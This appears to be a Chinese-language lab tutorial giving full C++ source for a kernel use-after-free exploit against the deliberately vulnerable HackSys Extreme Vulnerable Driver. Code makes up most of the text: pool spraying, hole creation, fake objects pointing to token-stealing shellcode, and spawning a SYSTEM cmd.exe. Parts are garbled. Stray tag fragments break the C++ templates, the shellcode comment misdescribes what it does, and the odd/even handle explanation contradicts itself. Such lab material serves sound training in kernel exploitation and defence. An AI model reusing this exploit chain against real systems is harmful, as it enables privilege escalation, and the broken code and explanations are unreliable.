//使用DeviceIoControl函数调用驱动程序的HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT命令,分配一定数量的虚假对象,这里使用的虚假对象结构体缓冲区将被传递给驱动程序,用于创建虚假对象,循环的次数是奇数句柄数量的一半,因为我们只需要用虚假对象填补偶数句柄的空隙
//通过一个 for 循环来进行分配,循环的次数是 handles.second.size() / 2,也就是说,它会分配一半 handles.second 向量中的元素;
//循环体内使用 DeviceIoControl 调用来分配虚假对象,其中,dev 是一个句柄,表示和驱动程序的通信;HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT 是一个自定义的 I/O 控制码,用于告诉驱动程序需要分配虚假对象;payloadBuffer 是一个指向存储恶意载荷的缓冲区的指针;totalObjectSize 是虚假对象的大小;bytesRet 是一个指向接收返回值的缓冲区的指针,这里设置为 NULL。
前面释放的是奇数句柄,而这里所说的偶数句柄是指未释放的句柄,原因是当我们释放掉奇数句柄后,剩下的偶数句柄将变得不连续,这些不连续的空隙正是我们需要使用虚假对象来填补的地方,我们创建的虚假对象是用来填充偶数句柄的空隙的,因为这些偶数句柄也是我们想要利用的。在这一步中,我们不需要关心奇数句柄和对象的释放,而只需要填充偶数句柄的空闲块即可。
也许这个奇数和偶数的句柄看的有点绕,其实可以这样理解,
在这个漏洞利用中,奇数句柄与偶数句柄之间存在一种特殊的关系,在分配内存的过程中,我们分配了多个内存块,每个内存块对应着一个句柄。
奇数句柄对应着用于分配内存的函数的返回值,即虚拟地址空间的起始地址,而偶数句柄则指向之前被释放的内存块,这些之前被释放的内存块现在是空闲的,可以重新被分配使用。
下面是一个简单的示意图:
+-----------------------+-----------------------+-----------------------+-----------------------+
| Block 1 | Block 2 | Block 3 | Block 4 |
+-----------------------+-----------------------+-----------------------+-----------------------+
| Handle 1 | Handle 2 | Handle 3 | Handle 4 |
+-----------------------+-----------------------+-----------------------+-----------------------+
| Virtual Address | Free | Virtual Address | Free |
+-----------------------+-----------------------+-----------------------+-----------------------+
如上图所示,我们分配了4个内存块,每个块有一个对应的句柄。假设 Handle 1 和 Handle 3 是奇数句柄,而 Handle 2 和 Handle 4 是偶数句柄。
Handle 1 和 Handle 3 对应的是 Virtual Address,即用于分配内存的函数的返回值,而 Handle 2 和 Handle 4 则指向之前被释放的内存块,这些内存块现在是空闲的,可以被重新分配使用。
在这个漏洞利用中,我们释放了奇数句柄所指向的内存块,这样就会在偶数句柄之间创建一些空隙。我们接下来创建了一些虚假对象,这些对象的指针被设置为之前被释放的奇数句柄所指向的空闲内存块的起始地址,这样我们就可以将这些虚假对象填充到空隙中,从而实现攻击。
[漏洞利用步骤]:
完整的漏洞利用代码主要功能可以概括如下:
从命令行参数中获取要分配的非分页池对象数目;
为了与驱动程序进行通信,获取指向驱动程序的句柄;
使用NtAllocateReserveObject函数填充非分页池,并创建所需的空闲块,通过调用spray_pool函数完成的;
创建UAF对象,然后立即释放该对象;
分配所需的虚假对象,这些虚假对象指向恶意载荷;
使用UAF对象;
生成Windows系统shell
代码中的spray_pool函数负责填充非分页池,然后创建所需的空闲块,它使用了NtAllocateReserveObject函数,该函数负责分配内存,并返回指向该内存的句柄。
spray_pool函数还使用了一些自定义定义和类型,例如LSA_UNICODE_STRING和OBJECT_ATTRIBUTES,以及一个指向NtAllocateReserveObject函数的指针;
这个函数的目的是为了在非分页池中分配大量对象,并且在这些对象之间创建所需的空闲块,为后续步骤留出空间,在填充了非分页池并创建了空闲块之后,就开始进行漏洞利用:
创建UAF对象->然后立即释放该对象->使用恶意载荷填充虚假对象->然后使用UAF对象->我们生成Windows系统shell
// 引入 HackSysExtremeVulnerableDriver.h 中的 IOCTL 宏定义
// 声明了一个函数指针类型 FunctionPointer
typedef void (*FunctionPointer)();
// 使用 UseAfterFree.h 中的 USE_AFTER_FREE 结构体类型
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
// 声明一个 UNICODE_STRING 类型结构体
// 用于定义对象属性的 Unicode 字符串
// https://docs.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
// 定义用于 NtAllocateReserveObject 函数的对象属性
// https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
// 声明一个指向 NtAllocateReserveObject 函数的函数指针
// https://wj32.org/wp/2010/07/18/the-nt-reserve-object/
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
// 定义一个名为 spray_pool 的函数,传入一个参数 objects_n
std::pairstd::vector<HANDLE, std::vector<handle>> spray_pool(int objects_n){</handle>
// 1/4 用于堆碎片整理,3/4 用于顺序堆分配
int defrag_n = 0.25 * objects_n;
int seq_n = objects_n - defrag_n;
std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n"; // 输出正在分配碎片整理对象的数量
std::cout << "Number of sequential objects to allocate: " << seq_n << "\n"; // 输出正在分配顺序对象的
// 定义两个vector,分别用于存储所有分配的内核对象的句柄,其中一个用于存储顺序分配的句柄,另一个用于存储碎片整理的句柄
std::vector<handle> defrag_handles;
std::vector<handle> seq_handles;</handle></handle>
// 从ntdll.dll中获取NtAllocateReserveObject的地址,它是一个函数指针,用于在系统堆上分配内存
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject");
//如果无法获取NtAllocateReserveObject的地址,则输出错误消息并退出程序
if (!NtAllocateReserveObject){
std::cout << "Could not get NtAllocateReserveObject\n";
exit(1);
}
//对于defrag_n个内核对象,循环遍历,分配每个对象,使用1作为对象类型,以便分配IoCompletionReserve对象, 分配的对象句柄存储在defrag_handles vector中
for (int i = 0; i < defrag_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
defrag_handles.push_back(handle);
}
//对于seq_n个内核对象,循环遍历,分配每个对象,使用1作为对象类型,以便分配IoCompletionReserve对象。分配的对象句柄存储在seq_handles vector中
for (int i = 0; i < seq_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
seq_handles.push_back(handle);
}
//输出分配的内核对象的总数,以及顺序和碎片整理的内核对象的数量
std::cout << "Allocated " << defrag_handles.size() << " defrag objects\n";
std::cout << "Allocated " << seq_handles.size() << " sequential objects\n";
//返回一个std::pair对象,包含defrag_handles和seq_handles,即碎片整理和顺序分配的句柄向量
return std::make_pair(defrag_handles, seq_handles);
}
int main(int argc, char* argv[]){ //主函数的声明,包含两个参数:argc(参数计数)和argv(参数数组)
if (argc < 2){
std::cout << "Usage: " << argv[0] << " <number-of-pool-allocations>\n";
exit(1);
} //这个条件判断检查是否提供了正确的命令行参数,如果没有,则输出用法信息并退出程序</number-of-pool-allocations>
int poolAllocs = atoi(argv[1]); //这一行代码将第二个命令行参数转换为整数并将其存储在poolAllocs变量中,以便指定要在内核中创建的对象数量
char devName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; //声明了一个字符串,用于指定要打开的设备的名称,即HackSysExtremeVulnerableDriver
DWORD inBuffSize = 1024;
DWORD bytesRet = 0;
BYTE* inBuffer = (BYTE*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inBuffSize);
RtlFillMemory(inBuffer, inBuffSize, 'A');
//分配了一个大小为1024字节的缓冲区,并使用RtlFillMemory函数将其填充为'A', 这个缓冲区将用于向设备发送I / O控制代码(IOCTL)
std::cout << "Getting handle to driver";
HANDLE dev = CreateFile(devName, GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
//获取到设备的句柄,并用于之后与设备进行通信。如果句柄无效,则程序将退出
if (dev == INVALID_HANDLE_VALUE){
std::cerr << "Could not get device handle" << std::endl;
return 1;
}
//调用spray_pool函数来分配内存池对象,同时返回分配的对象句柄
std::cout << "Spraying the pool\n";
std::pair<std::vector<HANDLE>, std::vector<HANDLE>> handles = spray_pool(poolAllocs);
//循环创建内存池中的对象空闲块,通过关闭一些对象的句柄来实现
std::cout << "Creating " << handles.second.size() << " holes\n";
for (int i = 0; i < handles.second.size(); i++){
if (i % 2){
CloseHandle(handles.second[i]);
handles.second[i] = NULL;
}
}
std::cout << "Sending IOCTLs\n"; //输出消息,表示正在发送IOCTL代码
//调用DeviceIoControl函数向设备发送IOCTL代码来分配UAF对象,IOCTL代码是通过定义在HackSysExtremeVulnerableDriver.h中的HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT宏
std::cout << "Allocating UAF Object\n";
BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//调用DeviceIoControl函数向设备发送IOCTL代码来告诉设备驱动程序释放已分配的UAF对象
std::cout << "Freeing UAF Object\n";
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
// 该 shellcode 会执行一个 cmd.exe 程序
char payload[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\x31\xC0"
"\xC3"
);
// 1.获取Shellcode的地址并将其复制到虚拟分配的内存区域中
DWORD payloadSize = sizeof(payload);
LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(payloadAddr, payload, payloadSize);
LPVOID payloadAddrPtr = &payloadAddr;
//VirtualAlloc()函数用于在进程的虚拟地址空间中分配内存,将Shellcode复制到此区域中
//memcpy()函数用于将Shellcode从其初始位置复制到此区域中
//payloadAddrPtr指向payloadAddr的地址,可以在后面用于生成Fake Object
std::cout << "Payload adddress is: " << payloadAddr << '\n';
// 2.设置Fake Object的结构,以匹配UAF Object的结构
DWORD totalObjectSize = 0x58;
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, payloadAddrPtr, 4);
//totalObjectSize表示Fake Object的大小
//payloadBuffer用于存储Fake Object的数据
//memcpy()函数用于将Shellcode地址复制到Fake Object中
//3.分配Fake Object,并将Fake Object的数据写入到内核中
std::cout << "Allocating fake objects\n";
std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n";
for (int i = 0; i < handles.second.size() / 2; i++){
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
payloadBuffer, totalObjectSize, NULL,
0, &bytesRet, NULL);
}
//DeviceIoControl()函数用于向内核发送IOCTL请求,并将Fake Object的数据写入到内核中
//这个循环创建了足够的Fake Object,以便在内核中填充UAF Object的位置
//4.使用之前释放的UAF对象
std::cout << "Using UAF Object after free\n";
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//DeviceIoControl()函数用于向内核发送IOCTL请求,以使用UAF Object,并在其中执行Shellcode
//5.生成新进程并启动shell
std::cout << "Spawning shell\n";
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
//CreateProcessA()函数用于创建新进程,并在其中启动命令行
//6.关闭设备并退出程序
CloseHandle(dev); //CloseHandle()函数用于关闭设备句柄
return 0;
}